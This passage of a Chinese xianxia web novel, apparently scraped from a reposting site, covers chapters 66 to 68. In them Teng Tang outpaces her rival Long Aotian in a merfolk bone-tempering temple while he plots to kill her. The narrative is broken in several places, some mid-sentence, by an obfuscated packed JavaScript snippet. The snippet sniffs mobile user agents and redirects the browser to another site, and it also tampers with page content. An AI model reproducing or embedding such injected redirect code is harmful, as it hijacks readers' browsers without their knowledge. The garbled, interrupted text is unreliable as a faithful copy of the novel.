他头一次识相地没打扰她,而是盯她许久,心悦诚服道:“看着好痛,真是个狠人!” “她是不是用了什么灵器?”有人问。 第四圈那个修者沉默了,他在滕棠身旁待了三日有余,未发现任何灵器波动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032724|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滕棠身上的白光并不是灵波,而是某种奇特萤石闪烁形成。 “应该没有。” 第五圈有个修者吞吞口水,眼睛里的震惊难掩:“再说,这么久了,她身上毫无波动。即便是灵器,在这锤骨风之中,早废了,除非是仙器。你们觉得她可能有仙器吗?” “……” 圣殿外,突然变得安静无比,只剩锤骨风偶尔谡谡作响。 本来躺平的人,顿时有些躺不住了,好几个试图盘坐起来,让身体更多骨头接触到风。 但他们坚持不了太久,没有定心,便会在痛苦之中,产生各种放弃的念头。 大多数人起身又倒下,再回头,风停时,望向那个全身抖动的女子,她还在站立着,艰苦承受百分之百的锤炼之痛。 闲谈交流,在滕棠跨进第五圈后,消失了。第一日的痛叫呃吼,重新在圣殿外响起,众人开始卷起来,有了比拼心理,谁也不愿输给一个身形单薄的女子。 大家无不心生着急,三日,如果自己像她那样修炼,是否已经迈入圣殿? 他们心里对滕棠虽有佩服,但更多的是不服。 “呃啊!” 不断有人试图坐起、站立,不断有人倒下。可惜的是,他们没有一个静心的,脑中除了争强好胜,便是嫉妒暗恨,看滕棠的目光犹如看到寇仇。 对于周围的声音、视线,滕棠是不在乎的,她闭着眼睛,沉浸在丰收的喜悦里。好似在体验养成游戏,她养自己的骨头,看着每一寸骨头逐渐坚硬,超出平均水平,在一点一滴之中,保持精进的步伐。 这种快乐,只有她自己感受得到。 十几日过去。滕棠欢欣地睁开眼,于众人目睹之中,再次迈开腿。 “她跨进去了!” “快看!” “好可怕的速度……” 身后的惊叹的声音不绝于耳,众人此时看滕棠,直呼“怪物”!同时,他们感受到了一种紧迫,连柔弱无骨的女子都进了圣殿,他们为何还在原地踏步?时间不待人,真要掐指一算,一载光阴,不过弹指之间。 一时之间,圣殿外的人更加刻苦起来,原本努力同修两个部位的,突然下狠心锤三个部位,甚至有不少人尝试直立修行。遗憾的是,他们没有滕棠那股坚毅,总是在锤骨风入体后,被极端的痛楚击退。 一来二去,他们越发对滕棠刮目相看,同修两个部位已是极限,为何这位看着瘦瘦弱弱的女子,竟能同修全身。 进入圣殿之后,滕棠的骨头已经比初时硬了不少。她跨进门后,看到了前方火红的背影。 龙傲天站立在第九圈,上半身已经淬炼好,只剩下半身未修。 他高傲地仰着头,对圣殿中心的白骨珊瑚厉喝:“以我龙骨之资,断不止九圈,赶紧放我进十五圈!” 他身后第八圈有个灰发女子,第七圈有个棕发女子,两个人都没注意到滕棠进来,热切地望着龙傲天的背影,异口同声道:“龙哥哥不要着急,你一定能通过圣殿所有考核的。” 她们知道龙傲天不懂圣殿,所以劝他别心急。人鱼族的圣殿,专为突破天赋资质建造,即使是神龙之体,在此亦需通过二十圈,达到骨资巅峰。万年前,有不少渡劫期大能前来,在圣殿改善体质,往后修行速度大涨,直至飞升。 龙傲天全身血管晶红,听见二人的话,憨笑回头,在看到滕棠时,表情瞬间凝固。 “滕棠你竟然还活着!” 他不可置信地大叫道,而后看向她手边拖进来的李偲缨,眼睛瞪得跟铜铃似的:“你、李偲缨、你怎么有李偲缨的尸身!” 被声波和风力同时冲击的女子,低头瞥过新出现的两个后宫女角色,突然笑了一下:“你活得这么快活,我当然不能死。要死,也是你死在我前头。” 前面两个女子见到她,充满敌意,问龙傲天:“她是谁?” 龙傲天无暇顾及这二人,眼睛死死瞪着滕棠,浑身血液绯红,毛发竖立,表情不知是怒还是喜。他右手暗中转动戒指,里面李谡对他传音道:“正好,你师父他们都在蓝岛,这白岛没什么强者,等滕棠出去后,夺了她身上的至宝。那宝贝肯定是个极为厉害的神物,否则她不可能活到现在,还能进入圣殿中来。” 66. 第 66 章 龙傲天瞋着双眼,转过身来,和冷目霜面的滕棠对视。 巨大的圣殿内一片寂静,白骨珊瑚结根盘错,垂挂着无数的骨果。 风从中心矗立的骨柱吹出,拂动串串白果,一波又一波打在龙傲天脊背上。 他往前趔趄了下,扶着灵幕站稳。 粗长的手指压着灵幕,上面漾过一圈圈的光,龙傲天的视线和滕棠交锋,眯起眼睛,揣着满心计谋,对李谡传音:“我当然是知晓的,师父。圣殿有灵幕阻隔,需等到出去了才能动手。” “龙哥哥?”被忽视的两个女子,卧坐在珊瑚丛内,见龙傲天不理会她们,一直盯着滕棠看,二人表情甚是微妙。 滕棠把李偲缨摆放到门口粗枝上靠着,探了探对方的骨,没有任何问题。 李偲缨的骨资,恐怕在第九圈,和龙傲天同等。 圣殿内非常空荡,白骨珊瑚枝纠缠在一块,钩织出不规则的穹顶。地面的珊瑚虫簇拥,踩上去仿佛掉进了云朵里,比外面的要深、更柔软些。 一切洁白得像下了场大雪。 圣殿中央,有一根巨大而扭曲的骨柱,每当它转动一圈,便会向四面八方吹去一阵锤骨风。 龙傲天忍受着脊背的骨痛,扣动戒指,目光放在第六圈的两个人身上。 当他发现李偲缨有神魂时,食指死死抠着黑戒,对戒中之人说:“师父,那尸体内的灵魂是李偲缨,她七魂六魄还在,我看到了命字。” 李谡在他戒指内,可通过环孔看到外面。 “徒儿莫担忧”,灰发老头阴邪一笑:“有神魂更好,你得其初阴,无上合欢大法可练至第五层。这丫头是在给我们送上一份大礼啊!出去后,先杀她夺走暗藏的神物,再劫李偲缨之身。” “好。”风暂停之际,龙傲天仰头扭了扭脖子,玄眼尽开,视线不离滕棠。 在滕棠身上,他依旧看不到命字,只看得到旁边李偲缨的: 李偲缨,灵修,天生至寒神体。神仙命。气运遭亲所夺,幸得神龙相救,顺遂修至寒冰之神,与神龙结为夫妻。 龙傲天第一次读到李偲缨的命字,不由大喜,双掌拍打灵幕,对那门口二人狞笑出声。 滕棠不知他在笑什么,只觉那俩玄目打开,黄光锃亮,像极咸蛋超人。 她把李偲缨放好后,不再关注前方三人,独自默默站立,开始集中注意力锤炼骨头。 “龙哥哥,你认识她?” 问话的女子叫淘泽姳,处在第七圈,她看不懂龙傲天的神情,时而欢喜,时而满目杀气。这女的到底是谁,区区筑基三层,为何让龙哥哥如此失态? 还有这女人身边,竟有个更美的女人,靠在珊瑚树上,如同熟睡的九天仙女,美得淘泽姳自惭形秽。 与她抱有同样想法的,还有第八圈的灰发女子,名为厉秋。她身上穿的无涯宗服饰,领口绣有九炼宗的火锤,神态比淘泽姳沉稳些,察言观色许久,看出了点端倪。 厉秋正过头,对面前浑身通红的男人道:“龙师兄,修炼要紧,你可知进入第十圈,会发生什么?” 这句话吊足胃口,命中龙傲天见识少的死穴。自小父母失踪,他生活在明月大陆,眼界比天央大陆的修者窄得多。 “会发生何事?”他终于舍得移开视线,放到厉秋身上。 厉秋端坐着,朝他神秘一笑,悄声道:“十圈及以后,不再掉落骨果,会出现一道人鱼族长的幻影,授你白骨珊瑚之根,服下后的效果是骨果的三倍。” “当真如此?”龙傲天睁大眼,擦掉满脸的汗珠,转头贪婪地望向第十圈。 “我曾在无涯宗藏书阁内,读了不少万年前的旧籍。”厉秋鼓励他:“龙哥哥,你用正面承受锤骨风,再坚持一会儿,迈进去试试。” 龙傲天听完她的话,又看了一眼那边笔直站着的滕棠,鼻腔哼了一声:“不靠骨资,靠宝物进入这圣殿,有什么用。” 他认为,滕棠之所以能进殿内,是依仗那神秘的宝贝,而非本身资质。 呼呼呼——,锤骨风阵阵吹来,大得掀起滕棠两肩的长发。 她安静地收集体内的风力,突然听到“叮”的一声系统提示:[尊敬的玩家,“暖冬结缘”活动即将结束,请及时完成任务,留意截止时间。] 滕棠在脑子里查看弹跳框。 这次的活动奖励一般,都是些好看的衣服、头衔和上品灵石。滕棠觉得做不做都无所谓,她点击[情侣]那一栏,由于没有绑定人选,下方的任务列表是空的。 滕棠想看看有什么任务,要是简单,拿点灵石也不错,她很缺钱。于是她按了下十字加号[+],想把李偲缨绑上去。 活动绑定人选,那人必须离自己最近,滕棠想也没想,直接点击[确认绑定]。 然而她与精神力合二为一,忽略了外面的变化,离她最近的人,已经不再是李偲缨。 早在几分钟之前,龙傲天淬炼成功,跨进了第十圈。 圣殿的骨柱突然化成白色瀑布,从里面游出来一条半人鱼。 鱼琴此时的脸,和岑云岭有七成相似,狭长的眼眶内,眸子呈暗蓝色,眉骨、鼻梁如刀削,薄唇抿着,一眼未看龙傲天。 他从白骨珊瑚瀑布中游出来后,直奔滕棠的方位。 凭什么他自爆元神,施展伏魂禁术,他失去半魂,岑云岭却没什么损失。凭什么他要眼睁睁地看着对方,被一女修频繁召唤走,逐渐摆脱珊瑚王冠。 鱼琴的双目充满恨意,被岑云岭杀死后,这万年来,他受尽孤苦与寂静。半魂逃进岑云岭的分-身之中,自己搬起石头砸自己的脚,终日感受珊瑚王冠的镇压之力,被刺穿血肉、被冲击神魂…… 鱼琴尾巴上的鳞片冒出毒刺,密密麻麻,只需一拍,便能将第六圈的女子毒死。 但当他甩动尾巴过去时,却未下得了手,巨大的鱼尾像手臂一样,把滕棠揽在怀内,静止在几厘米的地方。 “还是不行么……”鱼琴此刻的五官是扭曲的。 那生死契竟如此厉害? 他试过用人鱼之声蛊惑滕棠,意图使其沉沦,多年后神魂自灭,然而这个计划失败了。 今日他好不容易完全掌控岑云岭的分-身,获得圣殿的帮助,为何仍不能杀她?滕棠究竟从哪里习得这生死契?又如何隔着汪洋大海,把生死契结在岑云岭的各个分-身上。 计划全部落空,鱼琴的脸色万分难看。 在滕棠误入珊瑚秘境时,他兴奋坏了,心道,虽然有生死契在,自己不能杀这个女子,却可以使其沉沦幻境。等到多年以后,滕棠老死,岑云岭便会魂飞魄散,他就能坐收渔翁之利,用禁术获得不死魔龙之体。 鱼琴双目血红,在生死契的阻碍之下,他甩了好几次尾巴,始终无法用毒鳞伤滕棠,一腔恨意无处发泄。 “上任人鱼族长?鱼琴?”厉秋在后边惊呼。 她看过不少古籍,看过上一任人鱼族长的长相。鱼琴每一幅画都是无性别的,为何这道幻影是男身?莫非不是鱼琴?只是和鱼琴相像的人鱼? 在场除了滕棠知晓人鱼的名字外,还有龙傲天,他没有得到白骨珊瑚之根,便开了玄眼,读到鱼琴的姓名、天赋及命字: 鱼琴,仅剩半边魂魄,已失至水神体,善人鱼族各类神通。 魔神命。生性单纯天真,被人欺骗丢半条魂,遇神龙得救,为神龙动心化女身,偷得不死魔龙分-身,炼成至水魔龙体,与无烬神龙携手飞升,神仙眷侣。 龙傲天大喜,今日真是个好日子!方才得知,李偲缨是自己妻子之一,已经让他感到十分高兴,眼下又冒出一个,且更为厉害,和他一样会成为神龙,命字都比别人长一点。 他免不得飘飘欲仙,对人鱼漂亮的背影喊道:“鱼琴,你出来这么久,还不给我白骨珊瑚之根?” 他以为鱼琴会像秦阿斓、淘泽姳、厉秋等人,对自己一见钟情,倾倒在无烬神龙的威风下。 谁料对方回头,明晃晃一张冷漠俊美的男性脸庞,和自己想象的美人迥然不同。 鱼琴双目赤红,尾巴“哗”地向他拍来,扬起几珠水花。细密尖锐的毒刺,眼看就要扎进龙傲天的肉里。 “我是无烬神龙后裔!” 电克水,龙傲天急忙引下一道天雷,使对面的鱼尾麻痹,再四肢裹雷,迅速避开。 还好,还好,他天生雷灵根,动作快如闪电,最擅长躲避之术。 这时,滕棠的活动页面恰好刷新,上方绑定者不是李偲缨,而是[鱼琴/醉星子]几个大字,下方列出三项任务:[1、和伴侣拥抱至少三次。2、和伴侣牵手至少两次。3、和伴侣亲吻至少一次。] 她看到结果后,大为吃惊,迅速脱离出沉浸的状态。 眼前的景象异常混乱,龙傲天、淘泽姳和厉秋不见了,跑到圈坛的边缘或坐或躺着。 她前方仅剩一条人鱼,正疯狂地甩动巨尾,身体穿过层层光幕,将这一片珊瑚丛割得稀碎。 “鱼琴?”滕棠后退一步,努力点击半空中乱晃的小三角,脑中突然闪过一段记忆,她喃喃道:“还是醉星子?” 呼呼——,锤骨风磨砺着全身骨头,滕棠很痛,却不得不分出心神,注意人鱼的动静。 在这个世界,作为本该炮灰掉的角色,任何人都可能杀她,唯独系统伙伴不会。 如果她回忆起来的那个画面没错的话,鱼琴就是醉星子,醉星子就是鱼琴,只是……当时写的(醉星子沉睡状态)……滕棠脑子一片浆糊,暗忖,前面这条人鱼,是否能伤害自己?系统结契的是醉星子,但鱼琴的灵魂显然在那具身体内…… 她思考着,转瞬间恍然大悟,想明白了为什么鱼琴上次不杀她,而是拉她入幻境,做各种奇怪的事。 对方想让她沉迷幻境!他不能杀自己!他想用幻境耗尽我生命! 滕棠冷静地望着前方,发现鱼琴发了很久的疯,始终没伤害自己半分,愈发确定自己的猜测。 现在回想起来,真是后怕。要是前几日她着了道,一直在幻境里和对方数蚂蚁,被人鱼之声一点点消磨意志,现在恐怕还处于断网状态吧。 在圣殿痛苦挣扎的人鱼,于一盏茶后停了下来。他卷起尾巴,朝滕棠游来。 滕棠终于点开了对方头上的三角标:[鱼琴(醉星子沉睡状态),男,86级,单水灵根,一半人鱼之音,一半人鱼之身。天赋技能:人鱼之声,海水的吟唱,… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在醉星子身上,他只读出天赋,没有名字、没有命字,这种情况十分罕见又十分熟悉:不死魔龙九幽黄泉天命窃者幻身。 这让他想起,当初在雾蓝秘境见到的那个魔人,还有当初在炼狱迷宫见到的那个魔人,前两个魔人的天赋之字相差不大,或许来自同一个大魔头,但这位不同,天赋之字不一样,更短,且是幻身。 龙傲天不信,有谁的称谓千变万化,有如此之多。 遇到的三个魔修都读不出命字,只能看到一串奇怪的天赋之字,见识少的龙傲天,开始自行猜测、总结:魔修向来诡异,魔功凌乱无章,他们有遮人眼目的伎俩,专克他的玄眼。 想明白之后,龙傲天牢记鱼琴的命字。对方需要自己出手相救,才会动心,并化为女身。 此时鱼琴的命字消失,他应该出手! “徒儿,莫要莽撞。”在龙傲天准备出手时,李谡威严的声音从戒指中传出。 龙傲天非常听李谡的话,权衡再三,收回了龙爪。该什么时候救鱼琴,命字不会写,他确实应该冷静些,现在也许不是最好的时机…… 第十圈的锤骨风威力巨大,龙傲天不能随意行动,只能趴在珊瑚中握紧双拳。 他不停地对醉星子喊:“鱼琴!鱼琴!鱼……”试图把鱼琴呼唤出来。 醉星子扶着头,双眉紧皱,表情不太好。鱼琴的半魂靠着禁术,控制这具幻身万年之久,他的佯魂几乎失去主导权,若不是有滕棠的生死契在,这道佯魂早就被吞噬了。没有佯魂,他好不容易凝练出的不死幻身,直接便宜了鱼琴,让对方占去。 时间紧迫,他的幻身随时会被拉回王冠顶,遭到强力镇压。 醉星子走至滕棠面前,快速交代道:“在灵魂珊瑚圣殿召唤我一次。” “鱼琴!鱼琴!鱼琴!”那边龙傲天喊得特别大声,像死了爹妈一样。 “吵死了。”滕棠吼他一句,捂住半边耳朵,才听见醉星子在讲什么。 她见醉星子情绪状态等都很良好,便问他:“你什么时候会消失?鱼琴什么时候会出来?” 醉星子摇头道:“不知。” [暖冬结缘]仅剩几分钟结束,滕棠望了他两眼,暗忖着该如何开口,委婉解释她的活动任务。 她买完两张船票、买完两套外观、买完潜水套装……现在非常贫穷,她不想错过薅系统羊毛的机会。而且这次活动的奖励其实还不错,有灵石呢…… 在她纠结的时候,醉星子的身体陡然出现变化,双足开始变得虚幻,隐隐长出鱼尾。 滕棠一急,立马张开手向他冲去,把人扑倒在地。而后,她迅速拉起醉星子的左右手,对身下的人慌忙抱了三次。 在醉星子快消失的那一刻,她埋头,在醉星子脸上狠狠一亲。 [完成伴侣任务一] [完成伴侣任…… 醉星子整个人怔住,想问她这是何意,已是来不及,视野摇晃变幻,眼前豪迈奔放的女子消失,变成绿油油的海带。 他消失后,滕棠捂住脸,坐在第六圈坛,没眼看。 附近的龙傲天、淘泽姳和厉秋:“……” 67. 第 67 章 这女的这么疯狂?淘泽姳和厉秋惊呆了。 龙傲天反应过来,大骂道:“滕棠你不要脸!” 滕棠放下捂脸的手,柳眉微扬,身体在锤骨风中站直。 “关你屁事。”她亲的是醉星子,又不是他龙傲天,管那么多闲事干嘛。 龙傲天见她能在锤骨风中站直,燃起攀比之心,暗道你靠神物站起来,虚有其表,而我……他咬紧牙关,也想站起来,奈何第十圈的风力太强,他根本承受不住那种痛。 趴在珊瑚床中,龙傲天盯着滕棠看了许久,脑回路清奇地想了许多,脸上忽然重现自信。 “棠儿丫头,我们一定要这样吗?彼此埋怨,彼此置气。” 滕棠方才的所作所为,皆是因嫉妒,嫉妒他有其他女人,嫉妒淘泽姳和厉秋比她优秀、美丽。 上次在雾蓝秘境中,滕棠被魔人夺走清白,一直悔恨自卑,怕被自己抛弃,所以冒着生命危险也要度过狂海,来追逐自己。没想到自己身边出现了更加优秀的女人,于是她为了引起自己的注意力,让自己嫉妒生气,开始破罐子破摔,招诱鱼琴,和鱼琴做出亲密的举动。但她不知道,鱼琴以后会成为自己的妻子,并非男性,这样做根本气不到自己。 经过对滕棠的一番重新审视之后,龙傲天忽然变得柔肠和善:“棠儿,我们两个不如重归于好?多一个朋友,少一个敌人,不好么?我不会嫌弃你非清白之身。” 他的这句话,卸下了淘泽姳和厉秋的提防,两女这时看向滕棠的目光,充满了同情。 滕棠仿佛被泼了一桶油,腻得很,整个人都不清爽了。 在新一阵锤骨风没吹来之前,她搓动胳膊,对龙傲天“呸呸”两声,不屑道:“能不能闭嘴,别污染我耳朵。” 龙傲天的脸色晴转多云:“你不要得寸进尺。” 滕棠乜了他一眼,懒得理会,熬过一阵锤骨风,快步走至李偲缨身边。 没过多久,圣殿内进来几个人和一只猫。其中有两个人滕棠认识,正是十几日前帮她完成任务的刘仁和刘慈。 他们看起来饱经风霜,刘仁嘴边全是胡茬,刘慈披头散发,二人的衣服磨损得很厉害。 “滕棠姐姐。” 刘慈年纪尚小,什么心事都摆在脸上,半趴在地上,喊滕棠喊得小心翼翼的。 她避开滕棠,悄悄拉她哥哥的袖子,指向对面的淘泽姳、厉秋,表示自己想去那边。 至少,淘泽姳、龙傲天、厉秋三人的穿着正派,不像滕棠一身黑红,和魔人打扮类似。而且那三人声名远扬,刘慈对他们有崇拜之心。对滕棠,她只有畏惧之心…… 刘仁在这圣殿内见到滕棠那一刻,很是讶异,忙抬起袖子挡嘴,用大刀锋利的边,剃掉最近长出来的胡须。 快速整理一番仪容后,他放下手来,对滕棠道:“你真厉害,进入了骨殿。” “喵喵。”他夸你呢滕棠。付岚山一脸看好戏的眼神,在滕棠和刘仁之间看来看去。 滕棠无视它的叫唤,问这对兄妹:“你们怎么现在才来?” 刘仁受不了锤骨风,脸朝地,趴下身体,说话慢腾腾的:“我们和长老去了蓝岛,一直在找南冰珊瑚,用来给一位师弟治病。” 提起此事,刘慈有些激动:“还好我们一听说珊瑚秘境现世,就立马乘船来了,否则根本没机会。” “此话怎讲?”滕棠问。 “你不知道?”和刘仁他们一起进来的,还有三四个修者,其中有个骨资在第七圈的,对她说道:“珊瑚秘境的入口关了,在我们进来后,第二日就关了,外面那些来迟了的,现在进不来呢。” “原来如此……”滕棠自言自语。 “滕、滕棠姐姐,你要不要坐下来?”刘仁趴在地上道。 许是圣殿内太过安静,他耳边的骨头声非常响亮,余光还能瞄到滕棠颤抖的双腿。 “没事。”滕棠摇摇头,擦掉头上的汗,对他们道:“我要静心锤骨了。”话毕,没多久便进入一念道之境,对外界的事与人再无反应。 刘仁愣了下,回她一声“好”。 刘慈听着滕棠身上“咔吱咔吱”的骨头响,觉得自己全身好痛,拉着她哥的衣角,小声问:“她骨头会不会散架,死在这?” 刘仁连忙捂住她的嘴,在锤骨风停时,抬起头,发现滕棠闭目不语,好似没听到。 他朝刘慈摇头:“嘘,切勿乱言。” 一晃,半个月过去了。 滕棠的骨头在锤骨风磨砺下,动静越来越小,这两天根本听不见声音。 她睁开眼,发现第六圈又多了两名修者,旁边的刘仁刘慈是半卧状态,正在进行第二个部位的锤炼。 在众目睽睽之下,滕棠不经意地抬起脚,跨进第七圈,此时这一圈的淘泽姳,还在锤炼第五个部位。 前面依旧是那两位,厉秋在第八圈,龙傲天在第十圈。 “滕棠姐姐你能进第八圈?!”刘慈震惊不已。 滕棠朝她点点头,往前看,不小心和龙傲天对视上。 那只红毛红皮狮子,见她这么快就进了七圈,且一进来就能保持站姿不动,内心不免被激起千重浪。 他在痛苦中呲起牙,像洗脑般自言自语:“她一定借了神物之力。” 这痛苦,他都受不了,别说滕棠了。 滕棠跨进第七圈,在其他人心中是很震撼的事,对她自己来说,却只是小小的进步。 不够,她要做就做到最好。第一个小目标,超越龙傲天,第二个大目标,通过二十圈考核,与那些旷世奇才肩并肩。 把李偲缨摆放到合适的位置,滕棠摸到她骨头在动,有点担心,观察了一会儿,又发现并无大碍,李偲缨只是睡得不踏实。 她放下心来,闭目继续修行。 圣殿内的人不似外面,没有一个人说话。大家好像因为滕棠的存在,心里总有股不服输的劲,暗自比拼,连刘慈刘仁都突破极限,开始同修三个部位。 只是他们三个部位,比起滕棠的全身修行,还是太慢了。 滕棠已开辟识海,有精神力在,本身观察细致,被锤骨风锻打之后,一直在收集吸收隐秘的骨力。其修行速度,说恐怖也不为过。 转眼不到一个月,她又动了脚,在大家的关注下,进到第八圈。彼时,龙傲天和厉秋还未有丁点动作。 “她怎么回事?” “她是谁?” …… 安静的圣殿内,就这么几个人,突然喧闹起来。 滕棠在惆怅怎么处理李偲缨,她把李偲缨拖进第八圈后,发现扶她站立,她会很痛苦,一分钟醒了两次,困倦地问:“这是什么风,吹得我骨头好痛。” “锤骨风,对你骨头有益。” 滕棠的手臂被李偲缨紧紧抓着,对方好似在做噩梦,眉头紧皱,浑身都在抖。 滕棠一开始还羡慕李偲缨,睡着了,可以无痛淬炼骨头,没想到这痛是深入灵魂的。她顿时有些不知所措,把李偲缨留在这里也不太合适。 付岚山见滕棠又前进一圈,而自己还在第六圈,锤炼到第三个部位,顿时有些灰心丧气。 他卷不动了,开始摆烂,在背后喵叫:“滕棠我不想努力了,你还有没有更好的壳子。” 滕棠回头瞥它一眼,心想哪有捷径可走,正要拒绝,突然想起系统未开放的灵宠商城。到50级后,只要有钱,确实可以买更高级、更厉害的灵宠。 眼下李偲缨不好带,不如……滕棠朝付岚山点头,吩咐他:“有,以后给你更好的壳子,但你现在要帮我看好李偲缨。” 付岚山原本只是嘴上一提,没想到滕棠突然大方,真的答应了。 它猫眼睛布灵布灵地闪烁,瞪得老大:“你真有?你竟然不给我!” “有蛇吗?!”它惊喜地问。 “你先在外面看好李偲缨,等我出去再说。” 滕棠没有完全给他保证,谁知道要多久才能升到50级,升上去后,她有没有那么多钱买灵宠,这些都是未知的事。 付岚山沉浸在喜悦之中,没有在意她的承诺,十分好说话地答应照看李偲缨,立马连撞光幕二十次,被圣殿弹出去。 滕棠见他已经离开,便扶起李偲缨,准备把人送出去。 “滕棠姐姐,你的这位朋友可是神魂受损?”刘仁在她背后隔着一圈,突然出声问。 滕棠扶着昏沉沉的李偲缨,用精神力刺激其识海,使其保持清醒,另一边回答刘仁:“是的。” “灵魂珊瑚岛有一种会飞的妖,名为羽翼水母,它的妖核可以修补神魂。” 刘仁扭动脖子,试着在锤骨风下抬起头来:“不过数量太少,肉眼难觅,且会精神攻击,一般人很难捕猎。” “你去过蓝岛,有没有遇见过?”滕棠来了兴趣。 “远远看到过,羽翼水母浑身是宝,万丹山的丹师一直在搜索,抓到了两只。” 刘仁认为她很强且很有钱,才提这件事的:“你的朋友若伤到神魂,可以向万丹山的丹师买药。” 滕棠一直背着李偲缨,每日给她输送大量灵力,等李偲缨自己养好神魂,恐怕要等半年之久。 她确实头痛过这件事,她的良心不允许自己扔下李偲缨,带在身边,又要提防龙傲天那个小人。 系统倒是有修补灵魂的丹药,但自己等级达不到,[魂海]功能不开放,商城的这类丹药要么是灰色的,要么不上架,她买不了。 刘仁给她提供了一种解决办法,滕棠思量再三, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032726|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定问问丹师这边的价格:“如果我找丹师买的话,要多少钱?” 刘仁没有买过高级丹药,不过总是听师长老们提及,没吃过猪肉见过猪跑,他心里猜测了个价格,对滕棠道:“对姐姐来说,不贵不贵,约莫两千上品灵石一颗,你朋友吃十颗就好了。” “……”好家伙。 感情在刘仁眼里,我是个富婆? “不知姐姐有无认识的丹师,他们大多都在蓝岛。蓝岛圣殿可以帮助修者增长精神力,可惜,像我们这些未开辟识海的修者,只能进白岛或红岛。” 刘仁的言语充满钦羡,曾经也想过成为丹师,奈何没有精神力方面的天赋。 “呵,只是你未开辟而已。”龙傲天忽然在对面插话。 他早就注意到了滕棠和刘仁,觉得这又是滕棠用来气他的小把戏,勾引别的男人,好让自己感受嫉妒的滋味。 “棠儿丫头当初攻向我的那丝精神力,厉害着呢。” 忆起当初在地牢中和滕棠相爱相杀的情形,龙傲天不由眯起眼睛。滕棠身上的秘密他一定要解开,那件神奇宝物,他一定要得手! 滕棠攥了攥拳头,他们很熟吗?关系很好吗?龙傲天杀她两次未果,还杀了岑羽,他们之间的仇恨,永远都消解不了。 “姐姐和龙……认识?”刘仁惊讶地看着他们。 天央大陆这两个月,名声最盛之人便是龙傲天。无烬神龙乃是上古神龙,自从龙傲地尊者消失之后,最后一条神龙便失踪了。他儿子偶然冒出头来,众人怎能不惊异? 神龙好战,战无不胜,时常是天道之子,气运弥天亘地。修者与之交好,益处多多。 “不认识,不知道,不想了解。”滕棠三连否认,合上双目,继续专注自己的修行。 接下来的日子,滕棠依旧稳扎稳打,立在强风之中,坚持不懈地经受千锤之压,吸收风中微小的力量。 她用半个月的时间,踏进了第九圈。 神速的进步,刺激得众人眼红。龙傲天依旧处在第十圈,由于无法承受骨痛,才淬炼到第七个部位。 他的攀比心熊熊燃烧,同时内心深处藏着一团恐惧。他担心滕棠超越自己,抢了自己的风头。 在天赋上,他向来是第一,从未被人超越过…… 当龙傲天进入第十一圈,滕棠进入第十圈时,龙傲天心中的恐惧逐渐放大。 滕棠就在身后,快超越他了…… 空中出现两道五十多级的人鱼幻影,这次的幻影不像第一次那么不受控制,如同设定好的傀儡,面无表情地递来白骨珊瑚之根。 龙傲天质问幻影:“我上一圈的呢?第十圈的呢?你为何不弥补?” 奈何这道幻影并非鱼琴,没有意识,不能回复他,送完白骨珊瑚之根就走了。 圣殿内新进来七八个修者,皆是殿外五圈淬炼好的。他们望着最前面的二人,议论纷纷。 “她叫滕棠?哪个门派的?好强!竟然第十圈了!我之前在第五圈的时候,她处于外边第一圈。” “听说没有门派。” “她跟龙傲天是什么关系?龙傲天为何说那样的话?” “我感觉她比龙傲天还厉害!” …… 第十一圈坛,龙傲天卧倒在地,回头看一眼站立发抖的滕棠,愤恨地一拳捶烂软珊瑚。 他站不起来! 无论如何都站不起来,那种痛太折磨人了,他稍感受几瞬,便会被击溃。 转眼又过了大半个月,滕棠睁开眼睛,稳步跨进第十一圈,和龙傲天处在同一环内。 龙傲天还有最后一个部位没有淬炼成功,见她进来,心里异常着急。他生平头一次,被人抢了风头。 大殿内一片寂静。众人遥望自身和那二人的距离,起码要花上好几年才赶得上。 龙傲天盘坐珊瑚之上,被滕棠追上来后,喘息不止,心里防线没有被骨痛击溃,反而被滕棠的表现击垮。 “你一定借了外力!”龙傲天讽刺道。 滕棠看都未看他一眼。她追上龙傲天是迟早的事,龙傲天没有专注力,不能细致入微地使用精神力,也未发现风中的神奇力量。 滕棠进入第十一圈后,甚至都没有成就感。 “徒儿,这是好机会!” 戒指里的老头蠢蠢欲动,给龙傲天出谋划策:“我观察她许久,发现她确实非同寻常,竟能随时随地进入传说中的一念道之境,你待会儿趁她浸入道境,过去把她杀了。” “好!”龙傲天旋转着黑戒,眼里杀意尽显。杀了滕棠,他就能知晓对方的秘密,并得到她身上的神物。 滕棠在另一边闭着眼睛,悄然微笑。 龙傲天有心眼,她只会比对方多八百个心眼。 68. 第 68 章 滕棠改变了状态,不再像之前那样,一直保持在一念道之境。 她一会儿进入无我的姿态,让龙傲天以为她借助神物达到了心无旁骛的境界,想对她出手,可没过一会儿,她又露出难以忍受的样子,脱离无我之境,让龙傲天收回了心思。 她反反复复改变状态,上一刻认真专注,直立迎接锤骨风的磨砺,下一刻满面痛苦,不得不坐下身,只锤炼两三个部位。 